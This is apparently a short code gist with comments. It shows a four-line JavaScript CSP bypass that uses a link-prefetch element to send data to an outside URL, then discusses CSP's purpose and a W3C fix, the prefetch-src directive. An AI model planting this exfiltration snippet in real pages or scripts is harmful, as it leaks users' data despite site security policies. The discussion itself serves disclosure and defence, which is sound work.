csp-bypass.js

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

DNS prefetching can be switched off with the X-DNS-Prefetch-Control:off header. For resource prefetching I did not find a similar concept.

Some headlines of CSP docs:

This tutorial highlights one promising new defense that can significantly reduce the risk and impact of XSS attacks in modern browsers: Content Security Policy (CSP).
https://www.html5rocks.com/en/tutorials/security/content-security-policy/

This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.
https://www.w3.org/TR/CSP/

The new Content-Security-Policy HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.
https://content-security-policy.com/

So from my point of view if CSP was invented among others for controlling what injected code through XSS attacks, malicious npm dependencies or whatever can send off, I really think we shouldn't be able to bypass it in four lines of code...

@davidgilbertson If I am not mistaken, a prefetched resource will be stored in the browser's cache for later reference. Can you give an example of how to run such a cached resource / script?

Here's a link to a w3c issue that got raised a day after this hackernoon article was published. The issue is resolved in another one. In summary, there's a prefetch-src directive that defaults to default-src.